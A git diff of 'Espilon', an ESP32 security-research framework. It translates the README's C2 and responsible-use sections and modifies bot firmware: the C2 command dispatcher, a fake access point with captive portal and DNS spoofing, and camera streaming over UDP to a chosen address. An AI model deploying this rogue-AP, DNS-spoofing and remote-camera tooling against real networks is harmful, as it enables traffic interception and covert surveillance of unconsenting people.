"sl2sfr", - "hostname": "galaxy-s24-ultra", - "module_network": true, - "module_recon": false, - "module_fakeap": false + "wifi_ssid": "MyNetwork", + "wifi_pass": "MyPassword", + "srv_ip": "192.168.1.100" } ] } ``` -Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète. +See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation. ### C2 Server (C3PO) -Serveur de Command & Control : +Command & Control server: ```bash cd tools/c2 @@ -260,137 +267,135 @@ pip3 install -r requirements.txt python3 c3po.py --port 2626 ``` -**Commandes** : +**Commands**: -- `list` : Lister les agents connectés -- `select ` : Sélectionner un agent -- `cmd ` : Exécuter une commande -- `group` : Gérer les groupes d'agents +- `list`: List connected agents +- `select `: Select an agent +- `cmd `: Execute a command +- `group`: Manage agent groups --- -## Sécurité +## Security -### Chiffrement +### Encryption -- **ChaCha20** pour les communications C2 -- **Clés configurables** via menuconfig -- **Protocol Buffers (nanoPB)** pour la sérialisation +- **ChaCha20** for C2 communications +- **Configurable keys** via menuconfig +- **Protocol Buffers (nanoPB)** for serialization -⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production : +**CHANGE DEFAULT KEYS** for production use: ```bash -# Générer des clés aléatoires +# Generate random keys openssl rand -hex 32 # ChaCha20 key (32 bytes) openssl rand -hex 12 # Nonce (12 bytes) ``` -### Usage Responsable +### Responsible Use -Espilon doit être utilisé uniquement pour : +Espilon should only be used for: -- Tests d'intrusion **autorisés** -- Recherche en sécurité **éthique** -- Éducation et formation -- Prototypage IoT légitime +- **Authorized** penetration testing +- **Ethical** security research +- Education and training +- Legitimate IoT prototyping -**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité. +**Prohibited**: Unauthorized access, malicious attacks, privacy violations. --- -## Cas d'Usage +## Use Cases -### Pentest WiFi +### WiFi Pentesting -- Audit de sécurité réseau -- Test de robustesse WPA2/WPA3 -- Cartographie réseau +- Network security auditing +- WPA2/WPA3 robustness testing +- Network mapping ### IoT Security Research -- Test de devices IoT -- Analyse de protocoles -- Détection de vulnérabilités +- IoT device testing +- Protocol analysis +- Vulnerability detection -### Éducation +### Education -- Labs de cybersécurité -- Cours d'embarqué +- Cybersecurity labs +- Embedded systems courses - CTF competitions --- ## Roadmap -### V2.0 (En cours) +### V2.0 (In Progress) - [ ] Mesh networking (BLE/WiFi) -- [ ] Implémenter Module reccoon dans C3PO -- [ ] Améliorer la Documentations [here](https://docs.espilon.net) +- [ ] Improve documentation - [ ] OTA updates -- [ ] Multilatération collaborative -- [ ] Optimisation mémoire +- [ ] Collaborative multilateration +- [ ] Memory optimization ### Future -- [ ] PCB custom Espilon -- [ ] Support ESP32-S3/C3 -- [ ] Module SDK pour extensions tierces -- [ ] Web UI pour C2 +- [ ] Custom Espilon PCB +- [ ] ESP32-S3/C3 support +- [ ] Module SDK for third-party extensions +- [ ] Web UI for C2 --- -## Licence +## License -Espilon est sous licence **MIT** avec addendum de sécurité. +Espilon is licensed under **MIT** with a security addendum. -Voir [LICENSE](LICENSE) pour les détails complets. +See [LICENSE](LICENSE) for full details. -**En résumé** : - -- Utilisation libre pour recherche, éducation, développement -- Modification et distribution autorisées -- **Obtenir autorisation** avant tout déploiement -- Usage malveillant strictement interdit +**In summary**: +- Free use for research, education, development +- Modification and distribution allowed +- **Obtain authorization** before any deployment +- Malicious use strictly prohibited --- -## Contributeurs +## Contributors - **@Eun0us** - Core architecture, modules - **@off-path** - C2 server, protocol -- **@itsoktocryyy** - Network features, Wall Hack +- **@itsoktocryyy** - Network features, work on Mod Wall Hack - **@wepfen** - Documentation, tools -### Contribuer +### Contributing -Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md). +Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md). -**Rejoignez-nous** : +**Join us**: -- Rapporter des bugs -- Proposer des features -- Soumettre des PRs -- Améliorer la doc +- Report bugs +- Propose features +- Submit PRs +- Improve documentation --- -## Liens Utiles +## Useful Links -- **[Documentation complète](https://docs.espilon.net)** +- **[Full documentation](https://docs.espilon.net)** - **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)** - **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)** -- **English README** : [README.en.md](README.en.md) +- **French README**: [README.md](README.md) --- ## Support -- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues) -- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions) +- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues) +- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions) --- -**Présenté initialement à Le Hack (Juin 2025)** +**Originally presented at Le Hack (June 2025)** **Made with love for security research and education** diff --git a/espilon_bot/components/command/command.c b/espilon_bot/components/command/command.c index f06870b..0bff82e 100644 --- a/espilon_bot/components/command/command.c +++ b/espilon_bot/components/command/command.c @@ -1,13 +1,26 @@ #include "command.h" #include "utils.h" #include "esp_log.h" + #include +#include +#include static const char *TAG = "COMMAND"; static const command_t *registry[MAX_COMMANDS]; static size_t registry_count = 0; +/* Max longueur lue/copied par arg (sécurité si non \0) */ +#ifndef COMMAND_MAX_ARG_LEN +#define COMMAND_MAX_ARG_LEN 128 +#endif + +/* Max args temporaires qu’on accepte ici (doit couvrir tes commandes) */ +#ifndef COMMAND_MAX_ARGS +#define COMMAND_MAX_ARGS 16 +#endif + /* ========================================================= * Register command * ========================================================= */ @@ -24,19 +37,120 @@ void command_register(const command_t *cmd) } registry[registry_count++] = cmd; - ESP_LOGI(TAG, "Registered command: %s", cmd->name); +#ifdef CONFIG_ESPILON_LOG_CMD_REG_VERBOSE + ESPILON_LOGI_PURPLE(TAG, "Registered command: %s", cmd->name); +#endif } /* ========================================================= - * Dispatch protobuf command + * Summary + * ========================================================= */ +void command_log_registry_summary(void) +{ + if (registry_count == 0) { + ESPILON_LOGI_PURPLE(TAG, "Registered commands: none"); + return; + } + + char buf[512]; + int off = snprintf( + buf, + sizeof(buf), + "Registered commands (%d): ", + (int)registry_count + ); + + for (size_t i = 0; i < registry_count; i++) { + const char *name = registry[i] && registry[i]->name + ? registry[i]->name : "?"; + const char *sep = (i == 0) ? "" : ", "; + int n = snprintf(buf + off, sizeof(buf) - (size_t)off, + "%s%s", sep, name); + if (n < 0 || n >= (int)(sizeof(buf) - (size_t)off)) { + if (off < (int)sizeof(buf) - 4) { + strcpy(buf + (sizeof(buf) - 4), "..."); + } + break; + } + off += n; + } + + ESPILON_LOGI_PURPLE(TAG, "%s", buf); +} + +/* ========================================================= + * Helpers: deep-copy argv into one arena + argv[] pointers + * ========================================================= */ +static bool deepcopy_argv(char *const *argv_in, + int argc, + char ***argv_out, + char **arena_out, + const char *req_id) +{ + *argv_out = NULL; + *arena_out = NULL; + + if (argc < 0) { + msg_error("cmd", "Invalid argc", req_id); + return false; + } + + if (argc == 0) { + char **argv0 = (char **)calloc(1, sizeof(char *)); + if (!argv0) { + msg_error("cmd", "OOM copying argv", req_id); + return false; + } + *argv_out = argv0; + *arena_out = NULL; + return true; + } + + size_t total = 0; + for (int i = 0; i < argc; i++) { + const char *s = (argv_in && argv_in[i]) ? argv_in[i] : ""; + size_t n = strnlen(s, COMMAND_MAX_ARG_LEN); + total += (n + 1); + } + + char *arena = (char *)malloc(total ? total : 1); + char **argv_copy = (char **)malloc((size_t)argc * sizeof(char *)); + if (!arena || !argv_copy) { + free(arena); + free(argv_copy); + msg_error("cmd", "OOM copying argv", req_id); + return false; + } + + size_t off = 0; + for (int i = 0; i < argc; i++) { + const char *s = (argv_in && argv_in[i]) ? argv_in[i] : ""; + size_t n = strnlen(s, COMMAND_MAX_ARG_LEN); + + argv_copy[i] = &arena[off]; + memcpy(&arena[off], s, n); + arena[off + n] = '\0'; + off += (n + 1); + } + + *argv_out = argv_copy; + *arena_out = arena; + return true; +} + +/* ========================================================= + * Dispatch nanopb command * ========================================================= */ void command_process_pb(const c2_Command *cmd) { if (!cmd) return; - const char *name = cmd->command_name; + /* nanopb: tableaux fixes => jamais NULL */ + const char *name = cmd->command_name; + const char *reqid = cmd->request_id; + const char *reqid_or_null = (reqid[0] ? reqid : NULL); + int argc = cmd->argv_count; - char **argv = (char **)cmd->argv; for (size_t i = 0; i < registry_count; i++) { const command_t *c = registry[i]; @@ -44,22 +158,48 @@ void command_process_pb(const c2_Command *cmd) if (strcmp(c->name, name) != 0) continue; - /* Validate argc */ if (argc < c->min_args || argc > c->max_args) { - msg_error("cmd", "Invalid argument count", - cmd->request_id); + msg_error("cmd", "Invalid argument count", reqid_or_null); return; } ESP_LOGI(TAG, "Execute: %s (argc=%d)", name, argc); if (c->async) { + /* Ton async copie déjà argv/request_id dans une queue => OK */ command_async_enqueue(c, cmd); - } else { - c->handler(argc, argv, cmd->request_id, c->ctx); + return; } + + /* ================================ + * SYNC PATH (FIX): + * Ne PAS caster cmd->argv en char** + * On construit argv_ptrs[] depuis cmd->argv[i] + * ================================ */ + if (argc > COMMAND_MAX_ARGS) { + msg_error("cmd", "Too many args", reqid_or_null); + return; + } + + char *argv_ptrs[COMMAND_MAX_ARGS] = {0}; + for (int a = 0; a < argc; a++) { + /* Fonctionne que cmd->argv soit char*[N] ou char[N][M] */ + argv_ptrs[a] = (char *)cmd->argv[a]; + } + + /* Deep-copy pour rendre sync aussi safe que async */ + char **argv_copy = NULL; + char *arena = NULL; + + if (!deepcopy_argv(argv_ptrs, argc, &argv_copy, &arena, reqid_or_null)) + return; + + c->handler(argc, argv_copy, reqid_or_null, c->ctx); + + free(argv_copy); + free(arena); return; } - msg_error("cmd", "Unknown command", cmd->request_id); + msg_error("cmd", "Unknown command", reqid_or_null); } diff --git a/espilon_bot/components/command/command.h b/espilon_bot/components/command/command.h index 6841e42..4a30e90 100644 --- a/espilon_bot/components/command/command.h +++ b/espilon_bot/components/command/command.h @@ -39,6 +39,7 @@ typedef struct { * Registry * ============================================================ */ void command_register(const command_t *cmd); +void command_log_registry_summary(void); /* ============================================================ * Dispatcher (called by process.c) diff --git a/espilon_bot/components/command/command_async.c b/espilon_bot/components/command/command_async.c index 965c7e8..433eb3e 100644 --- a/espilon_bot/components/command/command_async.c +++ b/espilon_bot/components/command/command_async.c @@ -62,7 +62,7 @@ void command_async_init(void) NULL ); - ESP_LOGI(TAG, "Async command system ready"); + ESPILON_LOGI_PURPLE(TAG, "Async command system ready"); } /* ========================================================= diff --git a/espilon_bot/components/core/WiFi.c b/espilon_bot/components/core/WiFi.c index c766d4c..91cb34d 100644 --- a/espilon_bot/components/core/WiFi.c +++ b/espilon_bot/components/core/WiFi.c @@ -36,6 +36,7 @@ void wifi_init(void) ESP_ERROR_CHECK(esp_netif_init()); ESP_ERROR_CHECK(esp_event_loop_create_default()); esp_netif_create_default_wifi_sta(); + esp_netif_create_default_wifi_ap(); wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); ESP_ERROR_CHECK(esp_wifi_init(&cfg)); @@ -149,4 +150,4 @@ void tcp_client_task(void *pvParameters) } } -#endif /* CONFIG_NETWORK_WIFI */ \ No newline at end of file +#endif /* CONFIG_NETWORK_WIFI */ diff --git a/espilon_bot/components/core/com.c b/espilon_bot/components/core/com.c index 4fac24d..dceadce 100644 --- a/espilon_bot/components/core/com.c +++ b/espilon_bot/components/core/com.c @@ -9,7 +9,7 @@ bool com_init(void) { #ifdef CONFIG_NETWORK_WIFI - ESP_LOGI(TAG, "Init WiFi backend"); + ESPILON_LOGI_PURPLE(TAG, "Init WiFi backend"); wifi_init(); @@ -28,7 +28,7 @@ bool com_init(void) #elif defined(CONFIG_NETWORK_GPRS) - ESP_LOGI(TAG, "Init GPRS backend"); + ESPILON_LOGI_PURPLE(TAG, "Init GPRS backend"); setup_uart(); setup_modem(); diff --git a/espilon_bot/components/core/crypto.c b/espilon_bot/components/core/crypto.c index 124d1bb..151a0df 100644 --- a/espilon_bot/components/core/crypto.c +++ b/espilon_bot/components/core/crypto.c @@ -192,6 +192,7 @@ bool c2_decode_and_exec(const char *frame) free(plain); /* 4) Log + dispatch */ +#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE ESP_LOGI(TAG, "==== C2 COMMAND ===="); ESP_LOGI(TAG, "name: %s", cmd.command_name); ESP_LOGI(TAG, "argc: %d", cmd.argv_count); @@ -200,6 +201,18 @@ bool c2_decode_and_exec(const char *frame) ESP_LOGI(TAG, "arg[%d]=%s", i, cmd.argv[i]); } ESP_LOGI(TAG, "===================="); +#else + ESP_LOGI( + TAG, + "C2 CMD: %s argc=%d req=%s", + cmd.command_name, + cmd.argv_count, + cmd.request_id[0] ? cmd.request_id : "-" + ); + for (int i = 0; i < cmd.argv_count; i++) { + ESP_LOGD(TAG, "arg[%d]=%s", i, cmd.argv[i]); + } +#endif process_command(&cmd); return true; diff --git a/espilon_bot/components/core/utils.h b/espilon_bot/components/core/utils.h index b72cd9f..3e64747 100644 --- a/espilon_bot/components/core/utils.h +++ b/espilon_bot/components/core/utils.h @@ -7,6 +7,9 @@ extern "C" { #include #include #include +#include +#include +#include #include "sdkconfig.h" #include "esp_log.h" @@ -21,6 +24,36 @@ extern "C" { #define MAX_ARGS 10 #define MAX_RESPONSE_SIZE 1024 +/* ============================================================ + * LOG HELPERS + * ============================================================ */ +#ifdef CONFIG_LOG_COLORS +#define ESPILON_LOG_PURPLE "\033[0;35m" +#define ESPILON_LOG_RESET "\033[0m" +#else +#define ESPILON_LOG_PURPLE "" +#define ESPILON_LOG_RESET "" +#endif + +static inline void espilon_log_purple( + const char *tag, + const char *fmt, + ... +) { + va_list args; + va_start(args, fmt); + + printf(ESPILON_LOG_PURPLE "I (%" PRIu32 ") %s: ", + (uint32_t)esp_log_timestamp(), tag); + vprintf(fmt, args); + printf(ESPILON_LOG_RESET "\n"); + + va_end(args); +} + +#define ESPILON_LOGI_PURPLE(tag, fmt, ...) \ + espilon_log_purple(tag, fmt, ##__VA_ARGS__) + /* Socket TCP global */ extern int sock; diff --git a/espilon_bot/components/mod_fakeAP/CMakeLists.txt b/espilon_bot/components/mod_fakeAP/CMakeLists.txt index e4db6fc..b36a9af 100644 --- a/espilon_bot/components/mod_fakeAP/CMakeLists.txt +++ b/espilon_bot/components/mod_fakeAP/CMakeLists.txt @@ -1,4 +1,4 @@ -idf_component_register(SRCS "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c" +idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c" INCLUDE_DIRS . REQUIRES esp_http_server - PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core) \ No newline at end of file + PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core command) \ No newline at end of file diff --git a/espilon_bot/components/mod_fakeAP/fakeAP_utils.h b/espilon_bot/components/mod_fakeAP/fakeAP_utils.h index 70f1ea4..002741f 100644 --- a/espilon_bot/components/mod_fakeAP/fakeAP_utils.h +++ b/espilon_bot/components/mod_fakeAP/fakeAP_utils.h @@ -17,3 +17,18 @@ void fakeap_mark_authenticated(ip4_addr_t ip); /* Internal use only - exported for mod_web_server.c */ extern ip4_addr_t authenticated_clients[MAX_CLIENTS]; extern int authenticated_count; + +/* ===== ACCESS POINT ===== */ +void start_access_point(const char *ssid, const char *password, bool open); +void stop_access_point(void); + +/* ===== CAPTIVE PORTAL ===== */ +void *start_captive_portal(void); +void stop_captive_portal(void); + +/* ===== SNIFFER ===== */ +void start_sniffer(void); +void stop_sniffer(void); + +/* ===== CLIENTS ===== */ +void list_connected_clients(void); diff --git a/espilon_bot/components/mod_fakeAP/mod_fakeAP.c b/espilon_bot/components/mod_fakeAP/mod_fakeAP.c index 164a1e5..0ee3c3f 100644 --- a/espilon_bot/components/mod_fakeAP/mod_fakeAP.c +++ b/espilon_bot/components/mod_fakeAP/mod_fakeAP.c @@ -5,7 +5,7 @@ #include "esp_log.h" #include "esp_wifi.h" #include "esp_netif.h" -#include "lwip/lwip_napt.h" +#include "esp_event.h" #include "lwip/sockets.h" #include "lwip/netdb.h" #include "freertos/FreeRTOS.h" @@ -16,6 +16,12 @@ #include "utils.h" static const char *TAG = "MODULE_FAKE_AP"; +static esp_netif_t *ap_netif = NULL; +static bool ap_event_registered = false; +static esp_event_handler_instance_t ap_event_instance_connect; +static esp_event_handler_instance_t ap_event_instance_disconnect; +static bool ap_ip_event_registered = false; +static esp_event_handler_instance_t ap_event_instance_ip; /* ================= AUTH ================= */ ip4_addr_t authenticated_clients[MAX_CLIENTS]; /* exported for mod_web_server.c */ @@ -67,6 +73,95 @@ static void fakeap_reset_auth(void) xSemaphoreGive(auth_mutex); } +/* ============================================================ + * CLIENTS + * ============================================================ */ +void list_connected_clients(void) +{ + wifi_sta_list_t sta_list; + esp_wifi_ap_get_sta_list(&sta_list); + + char buf[512]; + int off = snprintf(buf, sizeof(buf), "Connected clients: %d\n", sta_list.num); + + for (int i = 0; i < sta_list.num && off < (int)sizeof(buf) - 32; i++) { + off += snprintf(buf + off, sizeof(buf) - off, + " [%d] %02x:%02x:%02x:%02x:%02x:%02x\n", + i + 1, + sta_list.sta[i].mac[0], sta_list.sta[i].mac[1], + sta_list.sta[i].mac[2], sta_list.sta[i].mac[3], + sta_list.sta[i].mac[4], sta_list.sta[i].mac[5]); + } + + msg_info(TAG, buf, NULL); +} + +static void fakeap_wifi_event_handler( + void *arg, + esp_event_base_t event_base, + int32_t event_id, + void *event_data +) { + if (event_base != WIFI_EVENT) { + return; + } + + if (event_id == WIFI_EVENT_AP_STACONNECTED) { + wifi_event_ap_staconnected_t *e = + (wifi_event_ap_staconnected_t *)event_data; + char msg[96]; + snprintf( + msg, + sizeof(msg), + "AP client connected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d)", + e->mac[0], e->mac[1], e->mac[2], + e->mac[3], e->mac[4], e->mac[5], + e->aid + ); + msg_info(TAG, msg, NULL); + } else if (event_id == WIFI_EVENT_AP_STADISCONNECTED) { + wifi_event_ap_stadisconnected_t *e = + (wifi_event_ap_stadisconnected_t *)event_data; + char msg[112]; + snprintf( + msg, + sizeof(msg), + "AP client disconnected: %02x:%02x:%02x:%02x:%02x:%02x (aid=%d, reason=%d)", + e->mac[0], e->mac[1], e->mac[2], + e->mac[3], e->mac[4], e->mac[5], + e->aid, + e->reason + ); + msg_info(TAG, msg, NULL); + } +} + +static void fakeap_ip_event_handler( + void *arg, + esp_event_base_t event_base, + int32_t event_id, + void *event_data +) { + if (event_base != IP_EVENT || event_id != IP_EVENT_AP_STAIPASSIGNED) { + return; + } + + ip_event_ap_staipassigned_t *e = + (ip_event_ap_staipassigned_t *)event_data; + char msg[128]; + snprintf( + msg, + sizeof(msg), + "AP client got IP: %02x:%02x:%02x:%02x:%02x:%02x -> " + IPSTR, + e->mac[0], e->mac[1], e->mac[2], + e->mac[3], e->mac[4], e->mac[5], + IP2STR(&e->ip) + ); + ESP_LOGI(TAG, "%s", msg); + msg_info(TAG, msg, NULL); +} + /* ============================================================ * AP * ============================================================ */ @@ -90,6 +185,40 @@ void start_access_point(const char *ssid, const char *password, bool open) ESP_ERROR_CHECK(esp_wifi_set_mode(WIFI_MODE_APSTA)); + if (!ap_event_registered) { + ESP_ERROR_CHECK( + esp_event_handler_instance_register( + WIFI_EVENT, + WIFI_EVENT_AP_STACONNECTED, + &fakeap_wifi_event_handler, + NULL, + &ap_event_instance_connect + ) + ); + ESP_ERROR_CHECK( + esp_event_handler_instance_register( + WIFI_EVENT, + WIFI_EVENT_AP_STADISCONNECTED, + &fakeap_wifi_event_handler, + NULL, + &ap_event_instance_disconnect + ) + ); + ap_event_registered = true; + } + if (!ap_ip_event_registered) { + ESP_ERROR_CHECK( + esp_event_handler_instance_register( + IP_EVENT, + IP_EVENT_AP_STAIPASSIGNED, + &fakeap_ip_event_handler, + NULL, + &ap_event_instance_ip + ) + ); + ap_ip_event_registered = true; + } + wifi_config_t cfg = {0}; strncpy((char *)cfg.ap.ssid, ssid, sizeof(cfg.ap.ssid)); cfg.ap.ssid_len = strlen(ssid); @@ -105,21 +234,43 @@ void start_access_point(const char *ssid, const char *password, bool open) ESP_ERROR_CHECK(esp_wifi_set_config(WIFI_IF_AP, &cfg)); vTaskDelay(pdMS_TO_TICKS(2000)); - esp_netif_t *ap = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); - esp_netif_ip_info_t ip; - esp_netif_get_ip_info(ap, &ip); + if (!ap_netif) { + ap_netif = esp_netif_get_handle_from_ifkey("WIFI_AP_DEF"); + } + if (!ap_netif) { + ap_netif = esp_netif_create_default_wifi_ap(); + } + if (!ap_netif) { + ESP_LOGE(TAG, "Failed to create AP netif"); + return; + } - esp_netif_dhcps_stop(ap); + esp_netif_ip_info_t ip = { + .ip.addr = ESP_IP4TOADDR(192, 168, 4, 1), + .gw.addr = ESP_IP4TOADDR(192, 168, 4, 1), + .netmask.addr = ESP_IP4TOADDR(255, 255, 255, 0), + }; + + esp_netif_dhcps_stop(ap_netif); + esp_netif_set_ip_info(ap_netif, &ip); esp_netif_dhcps_option( - ap, + ap_netif, ESP_NETIF_OP_SET, ESP_NETIF_DOMAIN_NAME_SERVER, &ip.ip, sizeof(ip.ip) ); - esp_netif_dhcps_start(ap); + esp_netif_dhcps_start(ap_netif); + ESP_LOGI(TAG, + "AP IP: " IPSTR " GW: " IPSTR " MASK: " IPSTR, + IP2STR(&ip.ip), IP2STR(&ip.gw), IP2STR(&ip.netmask)); + ESP_LOGI(TAG, "DHCP server started"); - ip_napt_enable(ip.ip.addr, 1); + /* + * Note: NAPT disabled - causes crashes with lwip mem_free assertion. + * FakeAP works without NAPT (no internet sharing to clients). + * TODO: Fix NAPT if internet sharing is needed. + */ dns_param_t *p = calloc(1, sizeof(*p)); p->captive_portal = open; @@ -198,7 +349,10 @@ void dns_forwarder_task(void *pv) ip4_addr_t ip; ip.addr = cli.sin_addr.s_addr; + ESP_LOGI(TAG, "DNS query from %s", ip4addr_ntoa(&ip)); + if (captive && !fakeap_is_authenticated(ip)) { + ESP_LOGI(TAG, "Spoofing DNS -> %s", CAPTIVE_PORTAL_IP); send_dns_spoof(sock, &cli, l, buf, r, inet_addr(CAPTIVE_PORTAL_IP)); continue; } diff --git a/espilon_bot/components/mod_fakeAP/mod_web_server.c b/espilon_bot/components/mod_fakeAP/mod_web_server.c index fd14394..10c3076 100644 --- a/espilon_bot/components/mod_fakeAP/mod_web_server.c +++ b/espilon_bot/components/mod_fakeAP/mod_web_server.c @@ -76,6 +76,8 @@ static const char *LOGIN_PAGE = * ============================================================ */ static esp_err_t captive_portal_handler(httpd_req_t *req) { + ESP_LOGI(TAG, "HTTP request received: %s", req->uri); + struct sockaddr_in addr; socklen_t len = sizeof(addr); @@ -85,6 +87,7 @@ static esp_err_t captive_portal_handler(httpd_req_t *req) ip4_addr_t client_ip; client_ip.addr = addr.sin_addr.s_addr; + ESP_LOGI(TAG, "Client IP: %s", ip4addr_ntoa(&client_ip)); if (is_already_authenticated(client_ip)) { httpd_resp_set_status(req, "302 Found"); diff --git a/espilon_bot/components/mod_recon/cmd_recon.h b/espilon_bot/components/mod_recon/cmd_recon.h index 587f271..e9c94fc 100644 --- a/espilon_bot/components/mod_recon/cmd_recon.h +++ b/espilon_bot/components/mod_recon/cmd_recon.h @@ -1,4 +1,7 @@ #pragma once -void mod_ble_trilat_register_commands(void); -void mod_camera_register_commands(void); \ No newline at end of file +/* Camera module */ +void mod_camera_register_commands(void); + +/* MLAT (Multilateration) module */ +void mod_mlat_register_commands(void); diff --git a/espilon_bot/components/mod_recon/mod_cam.c b/espilon_bot/components/mod_recon/mod_cam.c index a819332..fa4985c 100644 --- a/espilon_bot/components/mod_recon/mod_cam.c +++ b/espilon_bot/components/mod_recon/mod_cam.c @@ -13,6 +13,8 @@ #include #include #include +#include +#include #include "command.h" #include "utils.h" @@ -23,7 +25,7 @@ #define TAG "CAMERA" #define MAX_UDP_SIZE 2034 -#if defined(CONFIG_MODULE_RECON) && defined(CONFIG_RECON_MODE_CAMERA) +#if defined(CONFIG_RECON_MODE_CAMERA) /* ================= CAMERA PINS ================= */ #define CAM_PIN_PWDN 32 #define CAM_PIN_RESET -1 @@ -108,6 +110,8 @@ static void udp_stream_task(void *arg) const size_t token_len = strlen(token); uint8_t buf[MAX_UDP_SIZE + 32]; + uint32_t frame_count = 0; + uint32_t error_count = 0; while (streaming_active) { @@ -118,14 +122,34 @@ static void udp_stream_task(void *arg) continue; } + frame_count++; + size_t num_chunks = (fb->len + MAX_UDP_SIZE - 1) / MAX_UDP_SIZE; + + /* DEBUG: Log frame info every 10 frames */ + if (frame_count % 10 == 1) { + ESP_LOGI(TAG, "frame #%lu: %u bytes, %u chunks, sock=%d", + frame_count, fb->len, num_chunks, udp_sock); + } + + /* Check socket validity */ + if (udp_sock < 0) { + ESP_LOGE(TAG, "socket invalid (sock=%d), stopping", udp_sock); + esp_camera_fb_return(fb); + break; + } + /* START */ memcpy(buf, token, token_len); memcpy(buf + token_len, "START", 5); - sendto(udp_sock, buf, token_len + 5, 0, + ssize_t ret = sendto(udp_sock, buf, token_len + 5, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + if (ret < 0) { + ESP_LOGE(TAG, "START send failed: errno=%d (%s)", errno, strerror(errno)); + } size_t off = 0; size_t rem = fb->len; + size_t chunk_num = 0; while (rem > 0 && streaming_active) { size_t chunk = rem > MAX_UDP_SIZE ? MAX_UDP_SIZE : rem; @@ -133,23 +157,39 @@ static void udp_stream_task(void *arg) memcpy(buf, token, token_len); memcpy(buf + token_len, fb->buf + off, chunk); - if (sendto(udp_sock, buf, token_len + chunk, 0, + ret = sendto(udp_sock, buf, token_len + chunk, 0, (struct sockaddr *)&dest_addr, - sizeof(dest_addr)) < 0) { - msg_error(TAG, "udp send failed", NULL); + sizeof(dest_addr)); + + if (ret < 0) { + error_count++; + ESP_LOGE(TAG, "chunk %u/%u send failed: errno=%d (%s), errors=%lu", + chunk_num, num_chunks, errno, strerror(errno), error_count); + + /* Stop after too many consecutive errors */ + if (error_count > 50) { + ESP_LOGE(TAG, "too many errors, stopping stream"); + streaming_active = false; + } break; + } else { + error_count = 0; /* Reset on success */ } off += chunk; rem -= chunk; + chunk_num++; vTaskDelay(1); } /* END */ memcpy(buf, token, token_len); memcpy(buf + token_len, "END", 3); - sendto(udp_sock, buf, token_len + 3, 0, + ret = sendto(udp_sock, buf, token_len + 3, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr)); + if (ret < 0) { + ESP_LOGE(TAG, "END send failed: errno=%d (%s)", errno, strerror(errno)); + } esp_camera_fb_return(fb); vTaskDelay(pdMS_TO_TICKS(140)); /* ~7 FPS */ @@ -160,6 +200,7 @@ static void udp_stream_task(void *arg) udp_sock = -1; } + ESP_LOGI(TAG, "stream stopped after %lu frames", frame_count); msg_info(TAG, "stream stopped", NULL); vTaskDelete(NULL); } @@ -169,31 +210,62 @@ static void udp_stream_task(void *arg) * ============================================================ */ static void start_stream(const char *ip, uint16_t port) { + ESP_LOGI(TAG, "start_stream called: ip=%s port=%u", ip ? ip : "(null)", port); + if (streaming_active) { msg_error(TAG, "stream already active", NULL); return; } - if (!camera_initialized) { - if (!init_camera()) - return; - camera_initialized = true; - } - - udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); - if (udp_sock < 0) { - msg_error(TAG, "udp socket failed", NULL); + if (!ip || ip[0] == '\0') { + ESP_LOGE(TAG, "invalid IP: null/empty"); + msg_error(TAG, "invalid ip", NULL); return; } + if (port == 0) { + ESP_LOGE(TAG, "invalid port: 0"); + msg_error(TAG, "invalid port", NULL); + return; + } + + if (!camera_initialized) { + ESP_LOGI(TAG, "initializing camera..."); + if (!init_camera()) { + msg_error(TAG, "camera init failed", NULL); + return; + } + camera_initialized = true; + } + + // Create UDP socket + udp_sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP); + if (udp_sock < 0) { + ESP_LOGE(TAG, "socket() failed: errno=%d (%s)", errno, strerror(errno)); + msg_error(TAG, "udp socket failed", NULL); + return; + } + ESP_LOGI(TAG, "socket created: fd=%d", udp_sock); + + // Build destination address (use inet_pton instead of inet_addr) memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.sin_family = AF_INET; - dest_addr.sin_port = htons(port); - dest_addr.sin_addr.s_addr = inet_addr(ip); + dest_addr.sin_port = htons(port); + + if (inet_pton(AF_INET, ip, &dest_addr.sin_addr) != 1) { + ESP_LOGE(TAG, "invalid IP address: '%s'", ip); + close(udp_sock); + udp_sock = -1; + msg_error(TAG, "invalid ip", NULL); + return; + } + + ESP_LOGI(TAG, "target: %s:%u (addr=0x%08x)", + ip, port, (unsigned)dest_addr.sin_addr.s_addr); streaming_active = true; - xTaskCreatePinnedToCore( + BaseType_t ret = xTaskCreatePinnedToCore( udp_stream_task, "cam_stream", 8192, @@ -202,25 +274,35 @@ static void start_stream(const char *ip, uint16_t port) NULL, 0 ); + + if (ret != pdPASS) { + ESP_LOGE(TAG, "failed to create stream task"); + streaming_active = false; + close(udp_sock); + udp_sock = -1; + msg_error(TAG, "task create failed", NULL); + return; + } } + static void stop_stream(void) { + ESP_LOGI(TAG, "stop_stream called, active=%d", streaming_active); + if (!streaming_active) { msg_error(TAG, "no active stream", NULL); return; } streaming_active = false; + ESP_LOGI(TAG, "stream stop requested"); } /* ============================================================ * COMMAND HANDLERS * ============================================================ */ -static int cmd_cam_start(int argc, - char **argv, - const char *req, - void *ctx) +static int cmd_cam_start(int argc, char **argv, const char *req, void *ctx) { (void)ctx; @@ -229,10 +311,56 @@ static int cmd_cam_start(int argc, return -1; } - 